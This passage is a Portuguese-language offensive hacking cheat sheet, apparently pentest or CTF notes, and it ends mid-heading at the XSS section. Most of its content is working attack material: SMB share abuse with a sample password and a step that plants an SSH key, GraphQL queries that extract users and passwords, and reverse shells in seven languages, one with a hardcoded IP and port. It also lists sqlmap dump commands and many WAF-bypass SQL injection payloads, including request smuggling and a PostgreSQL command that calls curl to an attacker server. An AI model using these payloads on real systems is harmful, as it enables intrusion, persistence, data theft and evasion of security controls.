nmap -p 139,445 ALVO

# 2. Tentar acesso anônimo
smbclient -L //ALVO -N

# 3. Enumerar permissões
smbmap -H ALVO -u "" -p ""

# 4. Se tiver credenciais (ex: extraídas de .env):
nxc smb ALVO -u time -p 'Sup3rM@n.2' --shares

# 5. Conectar no share com READ/WRITE
smbclient //ALVO/home -U time%'Sup3rM@n.2'

# 6. Navegar e extrair arquivos
smb: \> ls
smb: \> cd .ssh
smb: \> get authorized_keys
smb: \> put minha_chave.pub authorized_keys  # Plantar chave SSH!

Em hacking: O SMB com permissão de WRITE no diretório home do usuário é critical — você pode plantar uma chave SSH pública e conectar via SSH sem senha!

🔮 API GraphQL

Introspection Query (descobrir schema)

{
  __schema {
    types {
      name
      fields {
        name
        type {
          name
        }
      }
    }
  }
}

Descobrir queries disponíveis

{
  __schema {
    queryType {
      fields {
        name
        description
      }
    }
  }
}

Exemplo de extração de dados

{
  users {
    id
    username
    password
    email
    role
  }
}


🐚 Post-Exploitation & Reverse Shells

🐚 Reverse Shell Cheatsheet Completo

Referência rápida de reverse shells em múltiplas linguagens. Substituir SEU_IP e PORTA.

Bash

bash -i >& /dev/tcp/SEU_IP/PORTA 0>&1
bash -c 'bash -i >& /dev/tcp/SEU_IP/PORTA 0>&1'

Python

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.0.74.117",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash"])'

PHP

php -r '$sock=fsockopen("SEU_IP",PORTA);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl

perl -e 'use Socket;$i="SEU_IP";$p=PORTA;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby

ruby -rsocket -e'f=TCPSocket.open("SEU_IP",PORTA).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat (GNU/OpenBSD)

# GNU netcat (com -e)
nc -e /bin/sh SEU_IP PORTA

# OpenBSD netcat (sem -e) — via named pipe
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc SEU_IP PORTA >/tmp/f

PowerShell (Windows)

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('SEU_IP',PORTA);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Upgrade para Shell Interativo (após obter reverse shell)

# 1. Spawnar TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Alternativa sem Python:
script -qc /bin/bash /dev/null

# 2. Ctrl+Z (suspender o netcat)

# 3. No terminal LOCAL:
stty raw -echo; fg

# 4. Dentro da shell remota:
export SHELL=bash
export TERM=xterm-256color
stty rows 40 cols 160

Listener (no atacante)

# Netcat simples
nc -lvnp PORTA

# Com rlwrap (histórico de comandos + setas)
rlwrap nc -lvnp PORTA

# Pwncat (shell interativo avançado)
pwncat-cs -lp PORTA

🛠️ Ferramentas e Comandos de Apoio

🛠️ Ferramentas e Comandos de Apoio

Recon

subfinder -d ALVO.COM -all -silent | httpx -sc -td
katana -u http://ALVO.COM -d 3 -jc
gau ALVO.COM | kxss
python3 SecretFinder.py -i http://ALVO.COM/app.js -o cli

Fuzzing

# Diretórios
ffuf -u http://ALVO.COM/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302

# Extensões
wfuzz -c -z file,wordlist.txt -z list,txt-php-html-bak-old --hc 404 http://ALVO.COM/FUZZ.FUZ2Z

SQLMap

sqlmap -u "http://ALVO.COM/page?id=1" --banner
sqlmap -u "http://ALVO.COM/page?id=1" --dbs
sqlmap -u "http://ALVO.COM/page?id=1" -D BANCO --tables
sqlmap -u "http://ALVO.COM/page?id=1" -D BANCO -T TABELA --columns
sqlmap -u "http://ALVO.COM/page?id=1" -D BANCO -T TABELA -C user,password --dump


🛡️ WAF Bypass — Contornando Web Application Firewalls

O que é WAF: Um Web Application Firewall é uma camada de segurança que filtra, monitora e bloqueia requisições HTTP maliciosas antes que elas cheguem à aplicação. WAFs podem ser baseados em regex (padrões de texto), assinatura (payloads conhecidos), heurística (comportamento anômalo) ou machine learning.

Por que aprender WAF Bypass: Em ambientes reais e em CTFs avançados, você vai encontrar WAFs como ModSecurity, Cloudflare, AWS WAF, Akamai, Imperva, Sucuri, Fortinet FortiWeb entre outros. Saber contorná-los é essencial para pentesting.


🔎 Detecção de WAF

Antes de tentar bypass, identifique se e qual WAF está presente.

Sinais de que há um WAF

- Resposta HTTP 403 Forbidden ao enviar payloads simples como ' OR 1=1 --
- Página de bloqueio customizada ("Request Blocked", "Access Denied", "Forbidden")
- Headers de resposta específicos: X-Sucuri-ID, CF-Ray (Cloudflare), X-CDN (Akamai)
- Status codes incomuns: 406, 419, 429, 503
- Cookie de WAF na resposta (ex: __cfduid, visid_incap_, etc.)

Ferramentas de detecção

# wafw00f — Identifica WAF automaticamente
pip install wafw00f
wafw00f http://ALVO.COM

# Nmap WAF detection
nmap -p 80,443 --script http-waf-detect ALVO.COM
nmap -p 80,443 --script http-waf-fingerprint ALVO.COM

# Curl manual — Enviar payload e observar resposta
curl -s -o /dev/null -w "%{http_code}" "http://ALVO.COM/?id=' OR 1=1 --"
# Se retornar 403/406/503 → provável WAF

# Verificar headers
curl -I http://ALVO.COM
# Procurar: Server, X-Powered-By, X-CDN, CF-Ray, X-Sucuri-ID, etc.

🧠 Técnicas Genéricas de Bypass (aplicam-se a QUALQUER vetor)

Essas técnicas servem para SQLi, XSS, LFI, Command Injection — qualquer payload bloqueado por WAF.

1. Encoding e Obfuscação

# URL Encoding (simples)
' OR 1=1 --   →   %27%20OR%201%3D1%20--

# Double URL Encoding (o servidor decodifica duas vezes)
' OR 1=1 --   →   %2527%2520OR%25201%253D1%2520--

# Triple Encoding (quando há múltiplas camadas de decode)
%25252527

# Unicode / UTF-8 Encoding
' → %C0%A7  ou  %EF%BC%87 (fullwidth apostrophe)
< → %EF%BC%9C
> → %EF%BC%9E
/ → %C0%AF  ou  %E0%80%AF

# HTML Entity Encoding
< → &lt;  ou  &#60;  ou  &#x3C;
> → &gt;  ou  &#62;  ou  &#x3E;
' → &#39;  ou  &#x27;
" → &quot;  ou  &#34;

# Hex Encoding
' → 0x27
admin → 0x61646d696e

# Octal Encoding
/etc/passwd → /\145\164\143/\160\141\163\163\167\144

# Base64 (útil para payloads inteiros)
echo -n "cat /etc/passwd" | base64
# Y2F0IC9ldGMvcGFzc3dk

2. Manipulação de Espaços em Branco

# Substituir espaço por caracteres alternativos
ESPAÇO → %09 (TAB horizontal)
ESPAÇO → %0A (newline / line feed)
ESPAÇO → %0B (TAB vertical)
ESPAÇO → %0C (form feed)
ESPAÇO → %0D (carriage return)
ESPAÇO → %A0 (non-breaking space)
ESPAÇO → %20 (espaço URL-encoded — às vezes o WAF filtra espaço literal mas não %20)
ESPAÇO → /**/ (comentário SQL inline)
ESPAÇO → + (em query strings)

# Exemplos práticos (SQL)
'%09UNION%09SELECT%091,2,3--
'/**/UNION/**/SELECT/**/1,2,3--
'+UNION+SELECT+1,2,3--

3. Fragmentação e Case Variation

# Alternar entre maiúsculas e minúsculas
UNION SELECT  →  uNiOn SeLeCt
SELECT        →  SeLeCt
SCRIPT        →  ScRiPt

# Inserir comentários no meio de palavras-chave (SQL)
UNION → UN/**/ION
SELECT → SEL/**/ECT
UN/**/ION/**/SEL/**/ECT/**/1,2,3--

# Inserir caracteres nulos
UNI%00ON SEL%00ECT

4. HTTP Parameter Pollution (HPP)

Enviar o mesmo parâmetro múltiplas vezes. Diferentes servidores/frameworks processam de formas diferentes.

# O WAF pode analisar apenas o primeiro valor, mas a aplicação usa o último
?id=1&id=' UNION SELECT 1,2,3--

# Ou vice-versa — o WAF analisa o último, a aplicação usa o primeiro
?id=' UNION SELECT 1,2,3--&id=1

# Dividir o payload entre parâmetros duplicados
# PHP/Apache usa o último; IIS/ASP concatena; JSP usa o primeiro
?id=1 UNION/*&id=*/SELECT/*&id=*/1,2,3--

5. Alteração de Método HTTP e Content-Type

# Trocar método HTTP (alguns WAFs só filtram GET)
# Converter GET para POST
curl -X POST http://ALVO.COM/page -d "id=' UNION SELECT 1,2,3--"

# Trocar Content-Type (alguns WAFs só analisam application/x-www-form-urlencoded)
curl -X POST http://ALVO.COM/page \
  -H "Content-Type: application/json" \
  -d '{"id": "'"'"' UNION SELECT 1,2,3--"}'

# Usar multipart/form-data
curl -X POST http://ALVO.COM/page \
  -F "id=' UNION SELECT 1,2,3--"

# Usar charset diferente no Content-Type
Content-Type: application/x-www-form-urlencoded; charset=ibm037
# Encode o payload no charset especificado

6. Abuso de Headers HTTP

# Adicionar headers que alguns WAFs usam para whitelist (fingir ser interno)
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
True-Client-IP: 127.0.0.1

# Exemplo com curl
curl http://ALVO.COM/?id=1' -H "X-Forwarded-For: 127.0.0.1"

7. Chunked Transfer Encoding

Dividir o payload em chunks para evitar que o WAF analise o payload inteiro.

# Enviar requisição com Transfer-Encoding: chunked
curl -X POST http://ALVO.COM/page \
  -H "Transfer-Encoding: chunked" \
  --data-binary $'4\r\nid=1\r\n7\r\n UNION \r\n8\r\nSELECT \r\n5\r\n1,2,3\r\n0\r\n\r\n'

8. Request Smuggling (Técnica Avançada)

Explorar diferenças entre como o WAF/proxy e o backend parseiam o body de uma requisição.

# CL.TE (Content-Length vs Transfer-Encoding)
POST / HTTP/1.1
Host: ALVO.COM
Content-Length: 44
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Ignore: X

💉 WAF Bypass — SQL Injection

Técnicas específicas para contornar WAFs ao explorar SQLi.

Bypass de palavras-chave bloqueadas (UNION, SELECT, etc.)

-- Inline Comments (MySQL versioned comments)
/*!50000UNION*//*!50000SELECT*/1,2,3--
/*!UNION*//*!SELECT*/1,2,3--

-- Comentários dentro de palavras-chave
UN/**/ION/**/SE/**/LECT/**/1,2,3--
UNI%0bON%0bSEL%0bECT%0b1,2,3--

-- Case Variation
uNiOn SeLeCt 1,2,3--
UnION SElEcT 1,2,3--

-- Usar %00 (null byte) dentro de palavras-chave
UNI%00ON SEL%00ECT 1,2,3--

-- Double keywords (se o WAF remove a palavra uma vez)
UNUNIONION SESELECTLECT 1,2,3--
-- Após remoção: UNION SELECT 1,2,3--

-- Usar equivalentes alternativos ao UNION SELECT
-- Subquery em vez de UNION:
' AND 1=0 OR (SELECT password FROM users LIMIT 1)='a
-- UNION ALL em vez de UNION:
' UNION ALL SELECT 1,2,3--

Bypass de aspas (quotes)

-- Hex encoding em vez de string com aspas
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_name=0x7573657273--
-- 0x7573657273 = 'users'

-- CHAR() function
' UNION SELECT 1, CHAR(117,115,101,114,115), 3--
-- CHAR(117,115,101,114,115) = 'users'

-- CONCAT + CHAR
' UNION SELECT 1, CONCAT(CHAR(117),CHAR(115),CHAR(101),CHAR(114),CHAR(115)), 3--

-- Sem aspas usando variáveis (MySQL)
SET @q = 0x53454C454354202A2046524F4D207573657273; PREPARE stmt FROM @q; EXECUTE stmt;

Bypass de espaço bloqueado

-- Comentário como espaço
'/**/UNION/**/SELECT/**/1,2,3--

-- TAB (%09)
'%09UNION%09SELECT%091,2,3--

-- Newline (%0A)
'%0AUNION%0ASELECT%0A1,2,3--

-- Carriage Return (%0D)
'%0DUNION%0DSELECT%0D1,2,3--

-- Parênteses (evitam necessidade de espaço)
'UNION(SELECT(1),(2),(3))--

-- Backticks como delimitadores (MySQL)
`UNION`SELECT`1`,`2`,`3`--

-- Plus sign (em query strings)
'+UNION+SELECT+1,2,3--

Bypass de comentários finais (-- e #)

-- Se -- e # são bloqueados
' UNION SELECT 1,2,3;%00
' UNION SELECT 1,2,'3
' UNION SELECT 1,2,3 OR '1'='1
' UNION SELECT 1,2,3 AND '1'='1

-- Usar comentário de bloco
' UNION SELECT 1,2,3 /* comentário */

Bypass de funções bloqueadas

-- Se database() é bloqueado
' UNION SELECT 1, schema_name, 3 FROM information_schema.schemata LIMIT 1--
' UNION SELECT 1, (SELECT schema_name FROM information_schema.schemata LIMIT 1), 3--

-- Se version()/@@version é bloqueado
' UNION SELECT 1, @@global.version, 3--
' UNION SELECT 1, version/*!()*/,3--

-- Se SLEEP() é bloqueado (Time-Based Blind)
' AND BENCHMARK(10000000, SHA1('test'))--
' AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B)--

-- Se SUBSTRING() é bloqueado
' AND MID(database(),1,1)='a'--
' AND LEFT(database(),1)='a'--
' AND RIGHT(database(),1)='a'--
' AND LPAD(database(),1,0)='a'--

-- Se information_schema é bloqueado (MySQL >= 5.7)
' UNION SELECT 1, table_name, 3 FROM mysql.innodb_table_stats--

-- Se extractvalue é bloqueado
' AND GTID_SUBSET(CONCAT(0x7e,(SELECT database()),0x7e), 1)--
' AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x7e,database(),0x7e)) USING utf8)))--

Bypass com Stack Queries e Prepared Statements

-- Prepared statements (MySQL)
';SET @s=0x53454C454354202A2046524F4D207573657273;PREPARE stmt FROM @s;EXECUTE stmt;--

-- Hex-encoded query completa
';SET @q=0x73656C65637420404076657273696F6E;PREPARE stmt FROM @q;EXECUTE stmt;--
-- 0x73656C65637420404076657273696F6E = 'select @@version'

WAF Bypass — PostgreSQL Específico

-- Usar $$ como delimitador de string (evita aspas)
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_name=$$users$$--

-- CHR() em vez de CHAR()
' UNION SELECT NULL, CHR(117)||CHR(115)||CHR(101)||CHR(114)||CHR(115), NULL--

-- Bypass com COPY TO
'; COPY (SELECT version()) TO PROGRAM $$curl http://SEU-SERVIDOR/$$;--

WAF Bypass — MSSQL Específico

-- Exec via sp_executesql com hex
EXEC sp_executesql N'SELECT * FROM users'

-- Bypass com concatenação
EXEC('SEL'+'ECT * FR'+'OM us'+'ers')

-- Comentários entre T-SQL keywords
EX/**/EC('SELECT * FROM users')

-- Usar [bracket notation]
[SELECT] * F[RO]M us[er]s

🔍 WAF Bypass — XSS (Cross-Site Scripting)

Bypass de tags bloqueadas (